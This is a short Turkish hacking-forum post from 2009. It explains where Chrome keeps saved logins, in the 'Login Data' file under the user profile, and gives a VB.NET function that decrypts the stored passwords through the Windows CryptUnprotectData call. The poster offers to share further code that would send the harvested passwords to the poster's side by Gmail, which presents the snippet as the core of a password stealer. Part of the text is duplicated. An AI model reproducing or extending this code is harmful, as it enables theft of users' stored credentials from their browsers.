- 27 Eki 2009
- 2,654
- 1
Merhaba arkadaşlar bildiğiniz gibi çoğu webbrowser kullanıcı adı ve şifrelerini kayıt altına alırlar bir yerde.
Chrome için ise kayıtlı şifreler Bu yolda izlenir : "C:\Users\Pc\AppData\Local\Google\Chrome\User Data\Default\" klasörü içindeki "Login Data" adlı bir dosyayı not defteri ile açarsanız burada Host, Username ve Password kısmını bulabilrsiniz fakat Password kısmı şifrelidir.
Bu şifreyi çözmek(decrypt) için size gerekli olan kodu şuan veriyorum eğer yeterli ilgi gösterilirse Chrome şifrelerini bir textbox'a aktarmayı ya da gmail ile bize gönderecek bir kaynak kodunu sizlerle paylaşabilirim.
Saygılarımla...
Chrome için ise kayıtlı şifreler Bu yolda izlenir : "C:\Users\Pc\AppData\Local\Google\Chrome\User Data\Default\" klasörü içindeki "Login Data" adlı bir dosyayı not defteri ile açarsanız burada Host, Username ve Password kısmını bulabilrsiniz fakat Password kısmı şifrelidir.
Bu şifreyi çözmek(decrypt) için size gerekli olan kodu şuan veriyorum eğer yeterli ilgi gösterilirse Chrome şifrelerini bir textbox'a aktarmayı ya da gmail ile bize gönderecek bir kaynak kodunu sizlerle paylaşabilirim.
Saygılarımla...
Kod:
Private Shared Function Decrypt(ByVal Datas As Byte()) As String
Dim inj As New DATA_BLOB()
Dim Ors As New DATA_BLOB()
Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
inj.pbData = Ghandle.AddrOfPinnedObject()
inj.cbData = Datas.Length
Ghandle.Free()
Dim entropy As New DATA_BLOB()
Dim crypto As New CRYPTPROTECT_PROMPTSTRUCT()
CryptUnprotectData(inj, Nothing, entropy, IntPtr.Zero, crypto, 0, _
Ors)
Dim Returned As Byte() = New Byte(Ors.cbData) {}
Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
Dim TheString As String = Encoding.UTF8.GetString(Returned)
Return TheString.Substring(0, TheString.Length - 1)
End Function